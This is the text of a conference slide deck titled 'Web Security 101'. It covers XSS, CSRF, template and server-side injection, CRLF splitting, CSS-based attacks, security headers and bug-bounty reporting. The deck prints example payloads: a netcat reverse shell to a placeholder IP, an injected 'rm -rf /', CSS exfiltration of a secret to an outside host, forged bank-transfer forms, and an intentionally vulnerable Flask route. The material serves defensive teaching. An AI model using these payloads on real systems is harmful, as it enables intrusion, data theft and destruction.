Web Security 101
Things that can make a difference.
![](https://s3.amazonaws.com/media-p.slid.es/uploads/2176/images/3041058/logo_PixelsCamp.png)
Renato Rodrigues
@SiMpS0N
//pathonproject.com
![](https://s3.amazonaws.com/media-p.slid.es/uploads/2176/images/3047979/image.89PHOY.png)
<?xml version="1.0" encoding="UTF-8"?>
<agenda>
<webapps>What we'll be looking for</webapps>
<browsers>Web Apps Home</browsers>
<xss>Cross-site scripting</xss>
<csrf>Cross-Site Request Forgery</csrf>
<templates-inj><%{It can be handy}%></templates-inj>
<server-inj>eval(injection)</server-inj>
<headers-inj>%0D%0A</headers-inj>
<css-as-a-friend>background:url()</css-as-a-friend>
<codereview>Now what?</code-review>
<hardening>Small steps</hardening>
<bug-bounties>Search/Pwn/Report<bug-bounties>
</agenda>
Web Applications
What we'll be looking for
What it is?
In computing, a web application or web app is a client–server software application which the client (or user interface) runs in a web browser.
![](https://s3.amazonaws.com/media-p.slid.es/uploads/2176/images/2656588/Client-server-model.svg.png)
Concept
Modern Apps
![](https://s3.amazonaws.com/media-p.slid.es/uploads/2176/images/3071858/aricheture.png)
![](https://s3.amazonaws.com/media-p.slid.es/uploads/simpson/images/444077/gears.png)
![](https://s3.amazonaws.com/media-p.slid.es/uploads/2176/images/2292583/nginx-logo-square.png)
![](https://s3.amazonaws.com/media-p.slid.es/uploads/2176/images/2292582/apache-logo.png)
![](https://s3.amazonaws.com/media-p.slid.es/uploads/simpson/images/1087795/kafka-logo-wide.png)
![](https://s3.amazonaws.com/media-p.slid.es/uploads/simpson/images/444041/js.jpg)
![](https://s3.amazonaws.com/media-p.slid.es/uploads/simpson/images/444042/angularjs.png)
![](https://s3.amazonaws.com/media-p.slid.es/uploads/2176/images/2221927/node.png)
![](https://s3.amazonaws.com/media-p.slid.es/uploads/simpson/images/444044/couch.png)
![](https://s3.amazonaws.com/media-p.slid.es/uploads/2176/images/2656680/HTML5_Logo_256.png)
![](https://s3.amazonaws.com/media-p.slid.es/uploads/2176/images/2656683/logo-css3-vector.png)
What we need to know
![](https://s3.amazonaws.com/media-p.slid.es/uploads/2176/images/3048240/java-logo.png)
![](https://s3.amazonaws.com/media-p.slid.es/uploads/2176/images/3048241/php_mysql.png)
...
The Big Picture
We know that a modern Web App is a pile of technology.
How many stacks are being used?
The links between them?
Possible weaknesses?
Can we understand:
Graphics and Statistics from Outdated Browser
Cross-site Scripting
eval(`ale${[[[[]=[]]=[[]=[]]]=[[]=[]]]=[]}rt('PixelsCamp')`)
Function('a=alert`PixelsCamp`','')()
-{valueOf(){alert`PixelsCamp`}}
new class extends alert("PixelsCamp"){}
data:q;base64,PHNjcmlwdD5hbGVydCgnUGl4ZWxzQ2FtcCcpPC9zY3JpcHQ+
XSS
What we should know
Probably the most prevalent security flaw in Web Applications.
Takes advantage of browsers' features and work flows.
All data sources can be used as a payload.
(DB data, URLs, Emails, Forms, Local Storage, ...)
Reflected XSS
Reflected Cross-site Scripting (XSS) occurs when an attacker injects browser executable code within a single HTTP response.
it is non-persistent and only impacts users who open a maliciously crafted link or third-party web page.
Stored XSS
The persistent (or stored) XSS vulnerability it occurs when the data provided by the attacker is saved, and then permanently displayed to other users in the course of regular browsing, without proper escaping.
DOM XSS
DOM Based XSS is an XSS attack wherein the attack payload is executed as a result of modifying the DOM "environment" in the victim’s browser used by the original client side script, so that the client side code runs in an "unexpected" manner.
Mutation XSS
Mutation XSS was coined by Gareth Heyes and Mario Heiderich to describe an XSS vector that is mutated from a safe state into an unsafe unfiltered state. The most common form of mXSS is from incorrect reads of innerHTML.
## https://html5sec.org/innerhtml/
Input: <a/href/title>Mutation
Mutation: <a href="" title="">Mutation</a>
Blind XSS
A type of Persistent (stored) XSS. patience and hope are the key factors, since we don't know where or whether our payload is going to be executed and end up.
Mitigation
Validate all inputs.
(If I want a name, maybe numbers and most of the symbols shouldn't be accepted 😉)
Escape all outputs
No straight forward approach but we can...
<script>
//ASCII
alert('Hello, World!');
//Using ö as a special char
alert('Hellö World!');
//Mix of Encodings
alert('Неllо Wоrld!');
</script>
Escaped String:
'<script>\n
alert(\'Hello, World!\');\n
alert(\'Hell\xF6 World!\');\n
alert(\'\u041D\u0435ll\u043E W\u043Erld!\');\n
</script>'
JavaScript
//Normal String
<script>alert('testing')</script>
//Escaped String
<script>alert('testing')</script>
//Html Output
"<script>alert('testing')</script>"
//Normal String
".foo#bar"
//Escaped String via CSS.escape(".foo#bar")
"\.foo\#bar"
Usage:
var element = document.querySelector('#' + CSS.escape(id) + ' > img');
var element = document.querySelector('a[href="#' + CSS.escape(fragment) + '"]');
CSS
HTML
Mitigation
No straight forward approach but we can...
Use CSP Header as hardening strategy.
CSRF
<img src="http://site.com/someaction.php?item-id=666&ship_to=BAD_GUY"
height="0" width="0">
Cross-Site Request Forgery
What we should know
CSRF is a type of attack that occurs when a malicious web site, email, blog, instant message, or program causes a user's web browser to perform an unwanted action on a trusted site for which the user is currently authenticated.
In Reality
Attack Prerequisite: Victim needs to be authenticated.
Attack
Creates forged HTTP requests.
Creates malicious web pages which generate forged requests.
Goal
Trick the victim into submitting/do a request with interaction or via seamless mechanism triggered when entering the page.
Attack Example
//Original Request - From Maria Account to Bob $100
GET http://bank.com/transfer.do?acct=BOB&amount=100 HTTP/1.1
//Send $100000 to Maria (Attacker Request)
http://bank.com/transfer.do?acct=MARIA&amount=100000
//Attack #1
<a href="http://bank.com/transfer.do?acct=MARIA&amount=100000">View my Pictures!</a>
//Attack #2
<img src="http://bank.com/transfer.do?acct=MARIA&amount=100000"
width="0" height="0" border="0">
via GET
//Original Request - From Maria Account to Bob $100
POST http://bank.com/transfer.do HTTP/1.1
acct=BOB&amount=100
//Send $100000 to Maria (Attacker Request)
<form action="http://bank.com/transfer.do" method="POST">
<input type="hidden" name="acct" value="MARIA"/>
<input type="hidden" name="amount" value="100000"/>
<input type="submit" value="View my pictures"/>
</form>
//Attack #1
<body onload="document.forms[0].submit()">
//Attack #2
$(document).ready(function() {
$('form').submit();
});
via POST
Attack Example
Mitigation
1 - Create one unique token per user
2 - Tokens should change per session or request.
3 - Add a per-request token/nonce in addition to the standard session.
Note: If you don't verify tokens/nonces, why bother?!
Use special Headers (SPA).
Same-site cookies
Server-Side Template Injection
{{%It can be handy%}}
SSTI
What we should know
Web application uses templates to make the web pages look more dynamic. Template Injection occurs when user input is embedded in a template in an unsafe manner.
However, on the surface, this vulnerability is easy to be mistaken for XSS attacks.
In Practice
Flask leverages the Jinga2 engine
...
@app.route('/hello-template-injection')
def hello_ssti():
person = {'name':"world", 'secret':"UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg=="}
if request.args.get('name'):
person['name'] = request.args.get('name')
template = '''<h2>Hello %s!</h2>''' % person['name']
return render_template_string(template, person=person)
...
![](https://s3.amazonaws.com/media-p.slid.es/uploads/2176/images/2658986/SSTI-exec.png)
...
@app.route('/hello-template-injection')
def hello_ssti():
person = {'name':"world", 'secret':"UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg=="}
if request.args.get('name'):
person['name'] = request.args.get('name')
#template = '''<h2>Hello %s!</h2>''' % person['name']
template = '<h2>Hello {{ person.name }}!</h2>'
return render_template_string(template, person=person)
...
The issue arises due to the use of string concatenation or substitution.
In Practice
Flask leverages the Jinga2 engine
Server-Side Injections
eval(injection)
require('child_process').exec
('netcat -e /bin/sh IP_TO_CONNECT 9999')
What we're talking about
SSI (Server-side Include) Injection is a server-side exploit technique that allows an attacker to send code into a web application, which will later be executed locally by the web server.
Attacker code will land on the server-side and we hope to get an execution sink.
In Reality
exec('rm -rf web/upload/' . $_GET['file']);
// example.org?file=*; rm -rf /;
router.post('/demo1', function(req, res) {
var year = eval("year = (" + req.body.year + ")");
var date = new Date();
var futureAge = 2050 - year;
res.render('demo1',
{
title: 'Future Age',
output: futureAge
});
});
<!-- https://goo.gl/nUp0NG -->
PHP
Node.js
Server-Side JS Injection
Digging into the JS world!
eval()
The eval() function evaluates or executes an argument.
setTimeout(inj,delay)
To schedule execution of a one-time callback after delay milliseconds.
setInterval(inj,delay)
To schedule the repeated execution of callback every delay milliseconds.
ES6 Power
($=>{return inj})()
new Promise($=>inj)
function a(a=inj){}; a();
Headers Injection
%0D%0A
HTTP Response Splitting
What?
Attack usually occurs when there is an input being reflected in a header field of a HTTP response.
If the output is not properly sanitized, attackers can inject arbitrary headers or contents into the response.
In Practice
Carriage Return (CR)
\r or %0d
Line Feed (LF)
\n or %0a
CR LF CR LF CR LF
/welcome?lang=bar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Length:%2020%0d%0a....
## Not Vulnerable ##
HTTP/1.1 302 Found
Location: /foo?lang=barContent-Length: 0HTTP/1.1 200 OKContent-Length:...
Date: Thu, 21 Jan 2016 11:52:34 GMT
Connection: keep-alive
Transfer-Encoding: chunked
0
## Vulnerable Example ##
HTTP/1.1 302 Found
Location: /foo?lang=bar
Content-Length: 0
HTTP/1.1 200 OK
Content-Length: 20
CRLF -> %0d%0a -> (Hit Enter)
In The Wild
Most of the times CRLF are sanitized and it is safe until it is mutated.
Enconding FTW!
CR Alternatives
č | 嘍
Origin Form: U+010D U+560D
UTF8 Encoded: %C4%8D %E5%98%8D
Decoded: 01 0D 56 0D
Output: 01 0D 56 0D
LF Alternatives
Ċ | 嘊
Origin Form: U+010A U+560A
UTF8 Encoded: %C4%8A %E5%98%8A
Decoded: 01 0A 56 0A
Output: 01 0A 56 0A
CSS as a Friend
body {
margin: 0;
padding: 0;
background: #ff0000 url(//what.com) Center;
overflow: hidden;
font-family: Helvetica;
}
We are talking about CSS...
Style sheet language used for describing the look and formatting of a document written in a markup language.
History to Remember
Dynamic propertites i.e. Expression, Behaviors, HTML Component and Scriptlet.
<p style=color:expression(alert(1)) | style="background: url(javascript:alert(1))">
Firefox
Opera
Internet Explorer
<input style="-moz-binding: url(//evil.com/xbl.xml#xss)">
CSS property -moz-binding that attaches an XBL binding to a DOM element.
<input style="-o-link: 'javascript:alert(1)'; -o-link-source: current">
-o-link unique CSS property from Presto to generate a link.
Cold Hard Facts
Defacement and Phishing
Data Leakage via Attribute-Selector
Sessions Ownage (FF)
Mutation XSS
<input type="hidden" name="secret" value="XYZ">
#secret[value='XYZ'] {
background: url(//exfiltration.pw/?secret=XYZ);
}
Reality Check
Compatibility View (or compat mode) FTW!
Internet Explorer
<meta http-equiv="X-UA-Compatible" content="IE=5-10">
Docmode allows inheritance through frame hierarchy.
OLD Features are back!
Not all but...
Reality Check
HTML Component (.htc) is supported up to docmode 9
Scriptlet (.sct)
Behaviors
## Attack
<meta http-equiv="X-UA-Compatible" content="ie=10">
<iframe src="https://victim.com/?xss=' style='behavior: url(//victim.com/xss.sct)"></iframe>
## xss.sct (file also has to be on the same domain)
<scriptlet>
<implements type="behavior"/>
<script>alert(1)</script>
</scriptlet>
Expression
Only for IE10 or below
Need Docmode IE7
But...
SQL Injection (SQLi)
Session Fixation
XML External Entity (XXe)
Dir Traversal
Insecure Direct Object References
Broken Authentication and Session Management
Server Side Request Forgery (SSRF)
Unvalidated Redirects and Forwards
Insecure Cryptographic Storage
Relative Path Overwrite (RPO)
...
Code Review
We have the code... now what?
What is it?
Security code review is the process of auditing the source code for an application to verify:
- that the proper security and logical controls are present;
- that they work as intended;
- that they have been invoked in all the right places.
There are no magic potions
Always look for User Inputs and where data and information are stored (Storage).
Modern apps interact with several services, so we should look for Communication Links and associated data.
When lost, look for Juicy Functions like:
upload, register, validate, giveSomething() and so on.
Tips and Tricks
Ticks to the rescue
Sometimes it's not present in the code
Hardening Features/Configurations
Checklist
Data Validation
Authentication / Authorization
Session Management
Cryptography
Error Handling
Logging
Hardening
Small steps
Header set X-Frame-Options SAMEORIGIN
Header set X-XSS-Protection 1;mode=block
Header set X-Content-Type-Options nosniff
Header set Strict-Transport-Security max-age=31536000;
Header set Content-Security-Policy default-src 'self'
HTTP Headers
HTTP headers are the core part of HTTP requests and responses, and they carry information about the browser, the requested content, the server and more.
Sets the configuration for the cross-site scripting filters built into most browsers. The best configuration is "X-XSS-Protection: 1; mode=block".
X-XSS-Protection 1; mode=block
X-XSS-Protection
Tells the browser whether you want to allow your site to be framed or not. By preventing a browser from framing your site you can defend against attacks like clickjacking.
X-Frame-Options SAMEORIGIN | DENY| ALLOW-FROM %uri%
X-Frame-Options
X-Content-Type-Options
Stops a browser from trying to MIME-sniff the content type and forces it to stick with the declared content-type. This helps to reduce the danger of drive-by downloads. .
X-Content-Type-Options nosniff
Strict-Transport-Security
Is an excellent feature to support on your site and strengthens your implementation of TLS by getting the User Agent to enforce the use of HTTPS.
Strict-Transport-Security max-age=31536000; includeSubdomains; preload
Content-Security-Policy
Is an effective measure to protect your site from several attacks.
By whitelisting sources of approved content, you can prevent the browser from loading malicious assets.
Content-Security-Policy default-src 'self'; script-src 'self' ...
CSP Builder (Helper): https://report-uri.io/home/generate
Public-Key-Pins
Protects your site from MiTM attacks using rogue X.509 certificates.
By whitelisting only the identities that the browser should trust, your users are protected in the event a certificate authority is compromised.
Public-Key-Pins pin-sha256="t/OMbK...JM="; max-age=600; report-uri="..."
Upgrade-Insecure-Requests
The overarching goal is to reduce the burden of migrating websites from a priori insecure origins by reducing the negative side effects of mixed content blocking.
<meta http-equiv=Content-Security-Policy content=upgrade-insecure-requests>
Upgrade-Insecure-Requests 1
Subresource Integrity
Mechanism by which user agents may verify that a fetched resource has been delivered without unexpected manipulation.
<script src="https://example.com/example-framework.js"
integrity="sha384-Li9vy3DqF8tnTXu...gNR/VqsVpcw+T...Jr7"
crossorigin="anonymous"></script>
Cookies
Session, Secure, HTTPOnly and SameSite
![](https://s3.amazonaws.com/media-p.slid.es/uploads/2176/images/3090207/cookies.png)
Bugbounties
Search/Pwn/Report
Can we do it?
Where
https://bugcrowd.com - https://hackerone.com
Search for a Security Page
Why
Reputation - Money - Fun - Test new attacks
Above all improve AppSec Skills
![](https://s3.amazonaws.com/media-p.slid.es/uploads/2176/images/3048389/image.2CA9NY.png)
Report
Discovery Date: dd/MM/YY - HH:mm:ss
System/Domain: E.g. https://sub.website.com/
Vulnerability Type: XSS / RCE / CSRF /...
Description: Detailed explanation of the vulnerability.
Impact: In the context of the vulnerable service/app.
Proof of Concept Data (PoC)
* Works in: Google Chrome/Firefox/MSIE/Safari
* Attack Vector: How to trigger the vulnerability.
* Payload: What triggers the vulnerability.
PoC Image/Video: Visual proof.
Mitigation: If we have an idea how to fix we should suggest.
Notes: If pertinent.
Be polite, don't beg, don't put down the entire network (just because you can) and remember on the other side, there's always a busy team!
The End!
Renato Rodrigues - @SiMpS0N - //pathonproject.com
Web Security 101 - Things that can make a difference.
By Renato Rodrigues
Web Security 101 - Things that can make a difference.
Security nowadays is a hot topic. Everyone is on alert for the latest database leak, closely tracking the updates on the business losing millions on a hack and digging deep on the web to find ways to stay protected. Everyone needs to start somewhere. However, getting the basics right isn't always a straightforward process. On this presentation, I will tap into the foundations of web security and also give an overview of the latest trends in attacks such as template, server side injections and weird attacks with CSS. Ultimately, provide ways to improve or put new skills into practice to stay ahead of the game. (https://www.youtube.com/watch?v=Tep11H8O5x4)
- 7,024